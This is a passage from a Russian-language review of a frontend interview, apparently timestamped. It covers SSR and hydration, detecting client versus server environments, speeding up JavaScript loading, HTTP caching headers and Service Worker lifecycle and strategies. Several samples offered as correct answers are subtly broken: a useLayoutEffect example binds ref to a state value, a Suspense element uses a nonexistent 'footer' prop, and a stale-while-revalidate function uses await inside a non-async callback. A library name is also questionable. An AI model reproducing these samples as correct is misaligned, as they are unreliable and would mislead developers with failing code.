  • Сайты, где критична максимальная производительность на слабых устройствах.
  • Проекты с ограниченным бюджетом и сроками.

Вопрос 14. Что такое SSR (Server-Side Rendering) и как он решает проблемы SPA?

Таймкод: 00:30:43

Ответ собеседника: неполный. Кандидат рассказал про SSR и его преимущества, но не упомянул проблемы с гидратацией, увеличение нагрузки на сервер и влияние на TTFB (Time to First Byte).

Правильный ответ:

Что такое SSR

Server-Side Rendering — это техника рендеринга веб-приложения на сервере. При каждом запросе сервер выполняет JavaScript-код, генерирует полный HTML и отправляет его клиенту. После загрузки страницы клиентский JavaScript «гидрирует» разметку — привязывает обработчики событий и превращает статический HTML в интерактивное SPA.

Как работает SSR

Клиент → GET /page → Сервер рендерит React/Vue компонент → HTML → Браузер отображает → Загружается JS → Гидратация → Интерактивное SPA

1. Запрос страницы — браузер отправляет HTTP-запрос на сервер.

2. Серверный рендеринг — сервер выполняет приложение, рендерит компоненты в HTML-строку.

// Пример серверного рендеринга в Next.js (React)
export default function Page({ data }) {
return (
<div>
<h1>{data.title}</h1>
<p>{data.content}</p>
</div>
);
}

export async function getServerSideProps() {
const data = await fetchDataFromAPI();
return { props: { data } };
}
// Пример серверного рендеринга в Nuxt.js (Vue)
export default {
async asyncData({ params }) {
const data = await fetchDataFromAPI(params.id);
return { data };
}
};

3. Отправка HTML — сервер отправляет полный HTML с данными и ссылками на JavaScript-бандл.

4. Отображение — браузер отображает HTML сразу, пользователь видит контент.

5. Гидратация (Hydration) — после загрузки JavaScript клиентский фреймворк «гидрирует» существующую разметку: привязывает обработчики событий, создаёт виртуальный DOM и связывает его с существующим реальным DOM.

Как SSR решает проблемы SEO

При SSR поисковый бот получает полный HTML с контентом сразу, без необходимости выполнять JavaScript. Это решает главную проблему SPA — пустую страницу в исходном коде.

<!-- SPA без SSR — бот видит пустую страницу -->
<html>
<body>
<div id="root"></div>
<script src="bundle.js"></script>
</body>
</html>

<!-- SSR — бот видит полный контент -->
<html>
<body>
<div id="root">
<h1>Заголовок статьи</h1>
<p>Полный текст статьи...</p>
</div>
<script src="bundle.js"></script>
</body>
</html>

Как SSR решает проблему начальной загрузки

Пользователь видит контент сразу после получения HTML, не дожидаясь загрузки и выполнения JavaScript. Это улучшает метрики:

  • FCP (First Contentful Paint) — время до первого отображения контента.
  • LCP (Largest Contentful Paint) — время до отображения основного контента.

Проблемы SSR

1. Увеличение нагрузки на сервер

Каждый запрос требует выполнения JavaScript и рендеринга. Это значительно увеличивает нагрузку на CPU сервера по сравнению с отдачей статических файлов.

Решения:

  • Кэширование отрендеренных страниц (Redis, in-memory).
  • Использование CDN для кэширования.
  • Горизонтальное масштабирование серверов.

2. Увеличение TTFB (Time to First Byte)

TTFB — время от отправки запроса до получения первого байта ответа. При SSR серверу нужно время на рендеринг, поэтому TTFB выше, чем при отдаче статических файлов.

Статический файл: TTFB ~ 50 мс
SSR: TTFB ~ 200-500 мс (зависит от сложности рендеринга)

Решения:

  • Кэширование на уровне сервера и CDN.
  • Streaming SSR — отправка HTML по частям по мере рендеринга.
  • Оптимизация серверного кода.

3. Проблемы с гидратацией (Hydration)

Гидратация — потенциально проблемный процесс:

  • Несоответствие разметки (mismatch) — если HTML отрендеренный на сервере отличается от того, что ожидает клиентский код, React/Vue выдаст предупреждения и перерендерит часть дерева. Причины: разные данные на сервере и клиенте, использование Date.now(), Math.random(), зависимость от ширины окна.
// Проблема: разный результат на сервере и клиенте
function Component() {
const [width, setWidth] = useState(window.innerWidth); // Ошибка на сервере
return <div>Width: {width}</div>;
}

// Решение: проверка среды выполнения
function Component() {
const [width, setWidth] = useState(
typeof window !== 'undefined' ? window.innerWidth : 0
);
return <div>Width: {width}</div>;
}
  • Время до интерактивности (TTI) — страница отображается, но не интерактивна до завершения гидратации. Пользователь видит контент, но клики не работают.

  • Double data fetching — данные загружаются на сервере для рендеринга, затем снова на клиенте при гидратации.

4. Сложность разработки

Код должен работать в двух средах: на сервере и в браузере. Это создаёт ограничения:

  • Нет доступа к window, document, localStorage на сервере.
  • Нет доступа к серверным модулям (база данных, файловая система) в браузере.
  • Необходимость использования isomorphic/universal кода.
// Проверка среды выполнения
if (typeof window !== 'undefined') {
// Код выполняется только в браузере
const token = localStorage.getItem('token');
}

5. Сложность инфраструктуры

SSR требует Node.js сервера (или аналога), что усложняет деплой по сравнению со статическим хостингом.

Варианты SSR

Традиционный SSR — полный рендеринг на сервере при каждом запросе.

Streaming SSR — отправка HTML по частям по мере рендеринга. Уменьшает TTFB.

// React 18 Streaming SSR
import { renderToPipeableStream } from 'react-dom/server';

app.get('/', (req, res) => {
const { pipe } = renderToPipeableStream(<App />, {
onShellReady() {
res.setHeader('Content-Type', 'text/html');
pipe(res);
}
});
});

Incremental Static Regeneration (ISR) — гибридный подход: страницы генерируются статически, но обновляются по расписанию или по запросу.

Selective Hydration — React 18 позволяет гидрировать части страницы по мере их загрузки, а не ждать всего бандла.

Сравнение подходов

ХарактеристикаSPASSRSSGISR
SEOПлохойОтличныйОтличныйОтличный
TTFBНизкийВысокийНизкийНизкий
FCPВысокийНизкийНизкийНизкий
Нагрузка на серверМинимальнаяВысокаяМинимальнаяСредняя
Динамический контентДаДаНетОграниченно
СложностьСредняяВысокаяНизкаяСредняя

Рекомендации

  • Для контентных сайтов с редкими обновлениями — SSG.
  • Для динамических приложений с требованиями к SEO — SSR или ISR.
  • Для внутренних приложений (дашборды, админки) без требований к SEO — SPA.
  • Для сложных приложений — гибридный подход (Next.js, Nuxt.js) с выбором стратегии для каждой страницы.

Вопрос 15. Как проверить, выполняется ли код на клиенте или на сервере в SSR-приложении?

Таймкод: 00:32:17

Ответ собеседника: неполный. Кандидат предложил проверку через typeof window === 'undefined', но не упомянул другие способы: проверку наличия document, navigator, использование хуков типа useEffect и специализированные библиотеки.

Правильный ответ:

Основной способ: проверка typeof window

Наиболее распространённый и надёжный способ определения среды выполнения:

const isServer = typeof window === 'undefined';
const isClient = typeof window !== 'undefined';

if (isServer) {
console.log('Код выполняется на сервере');
} else {
console.log('Код выполняется в браузере');
}

Этот способ работает потому, что window — глобальный объект браузера, который не существует в Node.js. Использование typeof безопасно — не вызовет ошибку ReferenceError, даже если window не определён.

Другие способы проверки

Проверка document:

const isServer = typeof document === 'undefined';

document также доступен только в браузере. Однако некоторые SSR-фреймворки используют библиотеки вроде jsdom, которые эмулируют document на сервере, поэтому эта проверка менее надёжна.

Проверка navigator:

const isServer = typeof navigator === 'undefined';

Аналогично document, navigator — браузерный API.

Проверка process (Node.js):

const isServer = typeof process !== 'undefined' && process.versions?.node;

Работает для Node.js, но не учитывает другие серверные среды (Deno, Bun) и может давать ложные срабатывания, если сборка включает полифиллы process.

Проверка через глобальные объекты:

// Для Deno
const isDeno = typeof Deno !== 'undefined';

// Для Bun
const isBun = typeof Bun !== 'undefined';

// Для браузера
const isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

Использование хука useEffect в React

useEffect выполняется только на клиенте, после монтирования компонента. Это самый удобный способ для React-компонентов:

import { useEffect, useState } from 'react';

function MyComponent() {
const [isClient, setIsClient] = useState(false);

useEffect(() => {
setIsClient(true);
}, []);

return (
<div>
{isClient ? 'Клиент' : 'Сервер'}
</div>
);
}

Этот паттерн часто используется для рендеринга компонентов, которые должны отображаться только на клиенте (например, виджеты с зависимостью от window).

Использование хука useLayoutEffect

useLayoutEffect также выполняется только на клиенте, но блокирует рендеринг до завершения. Используется, когда нужен доступ к DOM до отображения:

import { useLayoutEffect, useRef } from 'react';

function MeasureComponent() {
const ref = useRef(null);
const [width, setWidth] = useState(0);

useLayoutEffect(() => {
setWidth(ref.current.offsetWidth);
}, []);

return <div ref={width}>Ширина: {width}px</div>;
}

Создание утилиты для проверки среды

Для удобства можно создать переиспользуемую утилиту:

// utils/environment.js
export const isServer = typeof window === 'undefined';
export const isClient = !isServer;

export const isDevelopment = process.env.NODE_ENV === 'development';
export const isProduction = process.env.NODE_ENV === 'production';

// Использование
import { isServer, isClient } from './utils/environment';

if (isServer) {
// Серверная логика
}

React-хук для проверки среды:

import { useEffect, useState } from 'react';

export function useIsClient() {
const [isClient, setIsClient] = useState(false);

useEffect(() => {
setIsClient(true);
}, []);

return isClient;
}

// Использование
function Component() {
const isClient = useIsClient();

return (
<div>
{isClient && <ClientOnlyWidget />}
</div>
);
}

Специализированные библиотеки

Некоторые библиотеки предоставляют готовые решения:

  • @react-hookz/web — содержит хук useIsomorphicLayoutEffect, который автоматически выбирает useLayoutEffect на клиенте и useEffect на сервере.
import { useIsomorphicLayoutEffect } from '@react-hookz/web';

function Component() {
useIsomorphicLayoutEffect(() => {
// Выполняется на клиенте после монтирования
// На сервере — ничего не происходит
}, []);
}
  • is-platform-specific — библиотека для определения платформы.

Примеры использования проверки среды

Доступ к localStorage:

function getAuthToken() {
if (typeof window === 'undefined') {
return null; // На сервере нет localStorage
}
return localStorage.getItem('token');
}

Использование браузерных API:

function getWindowWidth() {
if (typeof window === 'undefined') {
return 0; // Значение по умолчанию для SSR
}
return window.innerWidth;
}

Импорт клиентских библиотек:

// Ленивый импорт библиотеки, которая работает только в браузере
async function initMap() {
if (typeof window === 'undefined') return;

const { Map } = await import('map-library');
return new Map('#map');
}

Динамический импорт компонентов (Next.js):

import dynamic from 'next/dynamic';

// Компонент не будет рендериться на сервере
const ClientOnlyComponent = dynamic(
() => import('./ClientOnlyComponent'),
{ ssr: false }
);

Распространённые ошибки

Прямое обращение к window без проверки:

// Ошибка: ReferenceError: window is not defined
const width = window.innerWidth;

Использование window при инициализации состояния:

// Проблема: разное значение на сервере и клиенте → hydration mismatch
const [theme, setTheme] = useState(localStorage.getItem('theme'));

// Решение: инициализация на клиенте
const [theme, setTheme] = useState('light');
useEffect(() => {
setTheme(localStorage.getItem('theme') || 'light');
}, []);

Использование Date.now() или Math.random() при рендеринге:

// Проблема: разные значения на сервере и клиенте
const timestamp = Date.now();

// Решение: вычисление на клиенте или передача с сервера
const [timestamp, setTimestamp] = useState(null);
useEffect(() => {
setTimestamp(Date.now());
}, []);

Рекомендации

  • Использовать typeof window === 'undefined' как основной способ проверки.
  • Для React-компонентов предпочитать useEffect для клиентской логики.
  • Избегать прямого обращения к браузерным API при инициализации состояния.
  • Использовать динамический импорт для тяжёлых клиентских библиотек.
  • Создавать утилиты для частых проверок.

Вопрос 16. Как решить проблему долгой загрузки JavaScript в SSR-приложении и улучшить пользовательский опыт?

Таймкод: 00:34:07

Ответ собеседника: неполный. Кандидат предложил спиннер и скелетон, но не упомянул code splitting, lazy loading, критический CSS, предзагрузку ресурсов и оптимизацию размера бандла.

Правильный ответ:

1. Code Splitting (разделение кода)

Разделение одного большого бандла на несколько меньших частей, которые загружаются по требованию.

По маршрутам — наиболее распространённый подход. Каждый маршрут приложения загружается отдельно:

// React с React.lazy
import { lazy, Suspense } from 'react';
import { Routes, Route } from 'react-router-dom';

const Home = lazy(() => import('./pages/Home'));
const Profile = lazy(() => import('./pages/Profile'));
const Settings = lazy(() => import('./pages/Settings'));

function App() {
return (
<Suspense fallback={<SkeletonLayout />}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/profile" element={<Profile />} />
<Route path="/settings" element={<Settings />} />
</Routes>
</Suspense>
);
}
// Next.js — автоматический code splitting по страницам
// Каждая страница в директории pages/ автоматически становится отдельным чанком

По компонентам — тяжёлые компоненты загружаются отдельно:

const HeavyChart = lazy(() => import('./components/HeavyChart'));
const RichTextEditor = lazy(() => import('./components/RichTextEditor'));

Vendor splitting — выделение сторонних библиотек в отдельные чанки:

// webpack.config.js
optimization: {
splitChunks: {
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
chunks: 'all',
},
// Отдельный чанк для больших библиотек
react: {
test: /[\\/]node_modules[\\/](react|react-dom)[\\/]/,
name: 'react',
chunks: 'all',
priority: 20,
},
},
},
}

2. Lazy Loading (ленивая загрузка)

Загрузка ресурсов только когда они действительно нужны.

Компоненты по видимости — загрузка при появлении в viewport:

import { useInView } from 'react-intersection-observer';

function LazySection({ children }) {
const { ref, inView } = useInView({
triggerOnce: true,
rootMargin: '200px', // Загрузить за 200px до появления
});

return (
<div ref={ref}>
{inView ? children : <Skeleton />}
</div>
);
}

Изображения — нативный lazy loading:

<img src="image.jpg" loading="lazy" alt="Описание">

3. Критический CSS (Critical CSS)

Встраивание стилей, необходимых для отображения видимой части страницы (above-the-fold), прямо в HTML. Остальные CSS загружаются асинхронно.

<head>
<!-- Критический CSS inline -->
<style>
.header { ... }
.hero { ... }
.navigation { ... }
</style>

<!-- Некритический CSS загружается асинхронно -->
<link rel="preload" href="styles.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
<noscript>
<link rel="stylesheet" href="styles.css">
</noscript>
</head>

Автоматический сбор критического CSS с помощью инструментов:

  • Critical — Node.js библиотека для извлечения критического CSS.
  • Penthouse — генератор критического CSS.
  • Next.js — автоматически инлайнит критический CSS при SSR.

4. Предзагрузка ресурсов (Resource Hints)

Использование <link> с различными значениями rel для оптимизации загрузки:

<!-- Preconnect — раннее установление соединения -->
<link rel="preconnect" href="https://api.example.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

<!-- DNS Prefetch — ранний DNS-резолвинг -->
<link rel="dns-prefetch" href="https://cdn.example.com">

<!-- Preload — загрузка критических ресурсов с высоким приоритетом -->
<link rel="preload" href="/fonts/main.woff2" as="font"
type="font/woff2" crossorigin>
<link rel="preload" href="/critical.css" as="style">
<link rel="preload" href="/hero-image.jpg" as="image">

<!-- Prefetch — загрузка ресурсов для будущей навигации -->
<link rel="prefetch" href="/next-page.chunk.js">
<link rel="prefetch" href="/api/next-page-data.json">

5. Оптимизация размера бандла

Tree Shaking — удаление неиспользуемого кода. Работает только с ES-модулями:

// package.json — указание поддержки tree shaking
{
"sideEffects": false,
// или список файлов с побочными эффектами
"sideEffects": ["*.css", "./src/polyfills.js"]
}

Минификация и сжатие:

// webpack.config.js
const TerserPlugin = require('terser-webpack-plugin');
const CompressionPlugin = require('compression-webpack-plugin');

module.exports = {
optimization: {
minimize: true,
minimizer: [new TerserPlugin()],
},
plugins: [
new CompressionPlugin({
algorithm: 'gzip',
threshold: 10240, // Сжимать файлы больше 10 КБ
}),
new CompressionPlugin({
algorithm: 'brotliCompress',
filename: '[path][base].br',
compressionOptions: { level: 11 },
}),
],
};

Анализ бандла:

# Webpack Bundle Analyzer
npx webpack-bundle-analyzer stats.json

# Source Map Explorer
npx source-map-explorer dist/bundle.js

6. Skeleton Screens (скелетоны)

Показ структуры страницы вместо спиннера. Пользователь видит контент в процессе загрузки, что создаёт ощущение скорости.

function SkeletonLayout() {
return (
<div className="skeleton">
<div className="skeleton-header" />
<div className="skeleton-content">
<div className="skeleton-line" style={{ width: '80%' }} />
<div className="skeleton-line" style={{ width: '60%' }} />
<div className="skeleton-line" style={{ width: '70%' }} />
</div>
</div>
);
}
.skeleton-line {
height: 16px;
background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
background-size: 200% 100%;
animation: shimmer 1.5s infinite;
border-radius: 4px;
margin-bottom: 8px;
}

@keyframes shimmer {
0% { background-position: 200% 0; }
100% { background-position: -200% 0; }
}

7. Streaming SSR

Отправка HTML по частям по мере рендеринга, а не ожидание полной готовности:

// React 18 Streaming SSR
import { renderToPipeableStream } from 'react-dom/server';

app.get('/', (req, res) => {
const { pipe, abort } = renderToPipeableStream(<App />, {
bootstrapScripts: ['/client.js'],
onShellReady() {
// Отправить начальную оболочку сразу
res.statusCode = 200;
res.setHeader('Content-Type', 'text/html');
pipe(res);
},
onShellError(error) {
res.statusCode = 500;
res.send('<h1>Ошибка сервера</h1>');
},
onError(error) {
// Логирование ошибок
console.error(error);
},
});

// Таймаут для медленных соединений
setTimeout(abort, 10000);
});

8. Progressive Hydration

Гидрация компонентов по мере их появления в viewport или по приоритету:

import { Suspense } from 'react';

function Page() {
return (
<div>
<Header /> {/* Гидрируется первым */}
<MainContent /> {/* Гидрируется вторым */}
<Suspense fallback={<SidebarSkeleton />}>
<Sidebar /> {/* Гидрируется когда появится в viewport */}
</Suspense>
<Suspense footer={<FooterSkeleton />}>
<Footer /> {/* Гидрируется последним */}
</Suspense>
</div>
);
}

9. Service Worker для кэширования

Кэширование ресурсов для быстрой повторной загрузки:

// service-worker.js
const CACHE_NAME = 'app-v1';
const urlsToCache = [
'/',
'/styles.css',
'/app.js',
'/offline.html'
];

self.addEventListener('install', (event) => {
event.waitUntil(
caches.open(CACHE_NAME)
.then((cache) => cache.addAll(urlsToCache))
);
});

self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request)
.then((response) => {
// Вернуть из кэша или загрузить
return response || fetch(event.request)
.then((response) => {
// Кэшировать новые ресурсы
if (response.status === 200) {
const clone = response.clone();
caches.open(CACHE_NAME)
.then((cache) => cache.put(event.request, clone));
}
return response;
});
})
.catch(() => caches.match('/offline.html'))
);
});

10. Оптимизация шрифтов

/* Предзагрузка критических шрифтов */
@font-face {
font-family: 'MainFont';
src: url('/fonts/main.woff2') format('woff2');
font-display: swap; /* Показать системный шрифт до загрузки */
unicode-range: U+0000-00FF; /* Только латиница */
}

11. Приоритизация ресурсов

<!-- Высокий приоритет для критических ресурсов -->
<script src="/critical.js" fetchpriority="high"></script>

<!-- Низкий приоритет для некритических -->
<script src="/analytics.js" fetchpriority="low" async></script>

<!-- Изображения с приоритетом -->
<img src="hero.jpg" fetchpriority="high" alt="Hero">
<img src="footer-icon.png" fetchpriority="low" alt="Icon">

Сводная таблица оптимизаций

ОптимизацияЭффектСложность
Code SplittingУменьшение начального бандлаСредняя
Lazy LoadingЗагрузка по требованиюНизкая
Критический CSSБыстрый первый рендерСредняя
Resource HintsПараллельная загрузкаНизкая
Tree ShakingУдаление мёртвого кодаНизкая
Сжатие (gzip/brotli)Уменьшение размера файловНизкая
Skeleton ScreensУлучшение восприятияНизкая
Streaming SSRУменьшение TTFBВысокая
Service WorkerБыстрая повторная загрузкаСредняя

Вопрос 17. Что такое кэширование в браузере и как оно настраивается?

Таймкод: 00:35:01

Ответ собеседника: неполный. Кандидат рассказал про кэширование статики и упомянул Cache-Control, но не упомял ETag, Last-Modified, стратегии кэширования и Service Worker.

Правильный ответ:

Что такое кэширование в браузере

Кэширование в браузере — это механизм хранения копий ресурсов локально на устройстве пользователя для ускорения последующих загрузок и уменьшения сетевого трафика. При повторном запросе ресурса браузер может использовать локальную копию вместо обращения к серверу.

Уровни кэширования в браузере

HTTP Cache (Disk/Memory Cache) — основной механизм кэширования, управляемый HTTP-заголовками.

Service Worker Cache — программируемый кэш, управляемый через JavaScript.

Memory Cache — временный кэш в памяти браузера, живёт в рамках одной сессии.

HTTP-заголовки кэширования

Cache-Control (основной заголовок)

Cache-Control — основной заголовок для управления кэшированием. Директивы можно комбинировать:

Cache-Control: public, max-age=31536000, immutable

Основные директивы:

  • public — ответ может быть закэширован любым кэшем (браузер, CDN, прокси).
  • private — ответ предназначен для одного пользователя, может быть закэширован только браузером.
  • no-cache — кэш сохраняется, но перед использованием необходимо валидировать с сервером (conditional request).
  • no-store — ответ не должен сохраняться в кэше вообще.
  • max-age=seconds — время в секундах, в течение которого ответ считается свежим.
  • s-maxage=seconds — аналог max-age для промежуточных кэшей (CDN, прокси).
  • must-revalidate — при истечении max-age необходимо валидировать с сервером.
  • proxy-revalidate — аналог must-revalidate для промежуточных кэшей.
  • immutable — ответ не изменится за время жизни кэша, браузер не будет делать conditional request.
  • stale-while-revalidate=seconds — после истечения max-age можно использовать устаревший кэш, пока идёт обновление.
  • stale-if-error=seconds — при ошибке сервера можно использовать устаревший кэш.

ETag (Entity Tag)

ETag — уникальный идентичный ресурса. Сервер генерирует его на основе содержимого файла (обычно хеш). Браузер при следующем запросе отправляет значение ETag в заголовке If-None-Match:

# Первый ответ сервера
ETag: "abc123"

# Следующий запрос от браузера
If-None-Match: "abc123"

# Ответ сервера, если ресурс не изменился
304 Not Modified

Last-Modified

Last-Modified — дата последнего изменения ресурса. Браузер при следующем запросе отправляет значение в заголовке If-Modified-Since:

# Первый ответ сервера
Last-Modified: Mon, 01 Jan 2024 00:00:00 GMT

# Следующий запрос от браузера
If-Modified-Since: Mon, 01 Jan 2024 00:00:00 GMT

# Ответ сервера, если ресурс не изменился
304 Not Modified

ETag vs Last-Modified:

  • ETag более точный (основан на содержимом, а не на времени).
  • ETag позволяет валидировать ресурсы, которые изменяются чаще чем раз в секунду.
  • Last-Modified проще реализовать на сервере.
  • ETag имеет приоритет при наличии обоих заголовков.

Expires (устаревший заголовок)

Expires — абсолютное время, до которого ответ считается свежим. Устарел в пользу Cache-Control: max-age.

Expires: Wed, 01 Jan 2025 00:00:00 GMT

Vary

Vary — указывает, какие заголовки запроса влияют на выбор кэшированного ответа:

Vary: Accept-Encoding, Accept-Language

Это означает, что для разных значений Accept-Encoding или Accept-Language будет храниться отдельная версия кэша.

Стратегии кэширования

1. Cache First (с долгим max-age)

Для статических ресурсов, которые не изменяются или версионируются через имя файла:

Cache-Control: public, max-age=31536000, immutable

Используется для CSS, JS, изображений с хешем в имени файла (app.abc123.js).

2. Stale While Revvalidate

Ответ отдаётся из кэша сразу, параллельно идёт обновление:

Cache-Control: public, max-age=3600, stale-while-revalidate=86400

Пользователь получает мгновенный ответ, а кэш обновляется в фоне.

3. No Cache (с валидацией)

Кэш сохраняется, но перед каждым использованием проверяется с сервером:

Cache-Control: no-cache
ETag: "abc123"

Подходит для HTML-страниц, которые могут изменяться.

4. No Store

Полный запрет кэширования для чувствительных данных:

Cache-Control: no-store

Используется для персональных данных, финансовой информации.

Настройка на сервере

Nginx:

location ~* \.(js|css|png|jpg|jpeg|gif|ico|woff2)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}

location / {
add_header Cache-Control "no-cache";
etag on;
}

Node.js (Express):

app.use('/static', express.static('public', {
maxAge: '1y',
immutable: true,
etag: true,
lastModified: true
}));

app.use((req, res, next) => {
res.set('Cache-Control', 'no-cache');
next();
});

Go:

func staticHandler() http.Handler {
fileServer := http.FileServer(http.Dir("./static"))

return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Добавляем хеш в ETag
w.Header().Set("ETag", fmt.Sprintf(`"%s"`, calculateETag(r.URL.Path)))
w.Header().Set("Cache-Control", "public, max-age=31536000, immutable")
fileServer.ServeHTTP(w, r)
})
}

Service Worker как механизм кэширования

Service Worker предоставляет программируемый контроль над кэшированием:

const CACHE_NAME = 'app-v1';

// Стратегия: Cache First
async function cacheFirst(request) {
const cached = await caches.match(request);
if (cached) return cached;

const response = await fetch(request);
const cache = await caches.open(CACHE_NAME);
cache.put(request, response.clone());
return response;
}

// Стратегия: Network First
async function networkFirst(request) {
try {
const response = await fetch(request);
const cache = await caches.open(CACHE_NAME);
cache.put(request, response.clone());
return response;
} catch (error) {
return caches.match(request);
}
}

// Стратегия: Stale While Revalidate
async function staleWhileRevalidate(request) {
const cached = await caches.match(request);

const fetchPromise = fetch(request).then((response) => {
const cache = await caches.open(CACHE_NAME);
cache.put(request, response.clone());
return response;
}).catch(() => cached);

return cached || fetchPromise;
}

// Регистрация стратегий
self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url);

if (url.pathname.startsWith('/api/')) {
event.respondWith(networkFirst(event.request));
} else if (/\.(js|css|png)$/.test(url.pathname)) {
event.respondWith(cacheFirst(event.request));
} else {
event.respondWith(staleWhileRevalidate(event.request));
}
});

Инвалидация кэша

Проблема кэширования — обновление ресурсов. Основные подходы:

Версионирование через имя файла:

app.abc123.js → app.def456.js

При изменении файла меняется хеш в имени, браузер загружает новый файл.

Query-параметры (менее надёжно):

app.js?v=1.2.3

Некоторые прокси и CDN игнорируют query-параметры при кэшировании.

Изменение ETag/Last-Modified:

Сервер автоматически генерирует новые значения при изменении ресурса.

Принудительная очистка через Service Worker:

self.addEventListener('activate', (event) => {
event.waitUntil(
caches.keys().then((cacheNames) => {
return Promise.all(
cacheNames
.filter((name) => name !== CACHE_NAME)
.map((name) => caches.delete(name))
);
})
);
});

Рекомендуемые настройки для разных типов ресурсов

Тип ресурсаCache-ControlETagПримечание
HTMLno-cacheДаВалидация при каждом запросе
CSS/JS (с хешем)public, max-age=31536000, immutableДаДолгий кэш, инвалидация через имя
Изображенияpublic, max-age=2592000Да30 дней
Шрифтыpublic, max-age=31536000, immutableДаДолгий кэш
API-ответыprivate, no-cacheДаВалидация для персональных данных
Чувствительные данныеno-storeНетБез кэширования

Вопрос 18. Что такое Service Worker и для чего он используется?

Таймкод: 00:36:44

Ответ собеседника: неполный. Кандидат рассказал про перехват запросов и использование для PWA, но не упомянул жизненный цикл Service Worker, ограничения и Cache API.

Правильный ответ:

Что такое Service Worker

Service Worker — это скрипт, который браузер запускает в отдельном потоке (worker context) в фоновом режиме, отдельно от основного потока страницы. Он действует как программируемый сетевой прокси, перехватывающий и обрабатывающий сетевые запросы, управляющий кэшированием ресурсов и обеспечивающий работу приложения в офлайн-режиме.

Service Worker не имеет доступа к DOM напрямую, но может взаимодействовать со страницами через сообщения (postMessage).

Основные возможности

  • Офлайн-работа приложения через программное кэширование.
  • Push-уведомления.
  • Background sync (фоновая синхронизация данных).
  • Перехват и модификация сетевых запросов.
  • Предварительная загрузка ресурсов.

Ограничения Service Worker

  • HTTPS — Service Worker работает только на HTTPS-сайтах (кроме localhost для разработки).
  • Нет доступа к DOM — не может напрямую читать или изменять DOM. Общение со страницами через postMessage.
  • Отдельный контекст выполнения — работает в Worker context, а не в Window context.
  • Ограничения по хранилищу — подчиняется same-origin policy и ограничениям браузера на размер хранилища.
  • Один Service Worker на origin — на один origin может быть зарегистрирован один Service Worker (с поддержкой scope).

Жизненный цикл Service Worker

Жизненный цикл Service Worker состоит из нескольких этапов:

1. Регистрация (Registration)

// Основной поток (main.js)
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js', {
scope: '/'
}).then((registration) => {
console.log('ServiceWorker registered:', registration.scope);
}).catch((error) => {
console.log('ServiceWorker registration failed:', error);
});
}

При регистрации браузер скачивает Service Worker скрипт и пытается его установить.

2. Установка (Install)

Событие install происходит при первой установке Service Worker или при обнаружении новой версии. Используется для предварительного кэширования критических ресурсов:

// sw.js
const CACHE_NAME = 'app-v1';
const urlsToCache = [
'/',
'/styles/main.css',
'/scripts/app.js',
'/images/logo.png',
'/offline.html'
];

self.addEventListener('install', (event) => {
event.waitUntil(
caches.open(CACHE_NAME)
.then((cache) => {
console.log('Opened cache');
return cache.addAll(urlsToCache);
})
);
});

3. Активация (Activate)

Событие activate происходит после успешной установки, когда Service Worker готов к управлению страницами. Используется для очистки старых кэшей:

self.addEventListener('activate', (event) => {
event.waitUntil(
caches.keys().then((cacheNames) => {
return Promise.all(
cacheNames
.filter((name) => name !== CACHE_NAME)
.map((name) => {
console.log('Deleting old cache:', name);
return caches.delete(name);
})
);
}).then(() => {
// Немедленное управление всеми открытыми страницами
return self.clients.claim();
})
);
});

4. Перехват запросов (Fetch)

Событие fetch происходит при каждом сетевом запросе с страниц, управляемых Service Worker:

self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request)
.then((response) => {
if (response) {
return response;
}
return fetch(event.request);
})
);
});

5. Обновление (Update)

Service Worker обновляется, когда браузер обнаруживает изменение в файле Service Worker (даже один байт). Новая версия устанавливается, но не активируется до закрытия всех вкладок с текущей версией.

Стратегии кэширования

Cache First:

self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((cached) => {
return cached || fetch(event.request).then((response) => {
const clone = response.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, clone);
});
return response;
});
})
);
});

Network First:

self.addEventListener('fetch', (event) => {
event.respondWith(
fetch(event.request)
.then((response) => {
const clone = response.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, clone);
});
return response;
})
.catch(() => caches.match(event.request))
);
});

Stale While Revalidate:

self.addEventListener('fetch', (event) => {
event.respondWith(
caches.open(CACHE_NAME).then((cache) => {
return cache.match(event.request).then((cached) => {
const fetchPromise = fetch(event.request).then((response) => {
cache.put(event.request, response.clone());
return response;
});
return cached || fetchPromise;
});
})
);
});

Network Only:

self.addEventListener('fetch', (event) => {
event.respondWith(fetch(event.request));
});

Cache Only:

self.addEventListener('fetch', (event) => {
event.respondWith(caches.match(event.request));
});

Взаимодействие со страницами

Service Worker не имеет доступа к DOM, но может обмениваться сообщениями со страницами:

// Со страницы
navigator.serviceWorker.controller.postMessage({
type: 'SKIP_WAITING'
});

// В Service Worker
self.addEventListener('message', (event) => {
if (event.data.type === 'SKIP_WAITING') {
self.skipWaiting();
}
});

Push-уведомления

Service Worker может получать push-уведомления даже когда страница закрыта:

// Подписка на push
async function subscribeToPush() {
const registration = await navigator.serviceWorker.ready;
const subscription = await registration.pushManager.subscribe({
userVisibleOnly: true,
applicationServerKey: urlBase64ToUint8Array(VAPID_PUBLIC_KEY)
});
// Отправить subscription на сервер
await fetch('/api/push/subscribe', {
method: 'POST',
body: JSON.stringify(subscription)
});
}

// Обработка push в Service Worker
self.addEventListener('push', (event) => {
const data = event.data?.json() || {};
const options = {
body: data.body,
icon: '/icon.png',
badge: '/badge.png',
data: { url: data.url }
};
event.waitUntil(
self.registration.showNotification(data.title, options)
);
});

// Клик по уведомлению
self.addEventListener('notificationclick', (event) => {
event.notification.close();
event.waitUntil(
clients.openWindow(event.notification.data.url)
);
});

Background Sync

Отложенная синхронизация данных при восстановлении соединения:

// На странице
async function syncData() {
const registration = await navigator.serviceWorker.ready;
await registration.sync.register('sync-messages');
}

// В Service Worker
self.addEventListener('sync', (event) => {
if (event.tag === 'sync-messages') {
event.waitUntil(syncMessages());
}
});

async function syncMessages() {
const messages = await getPendingMessages();
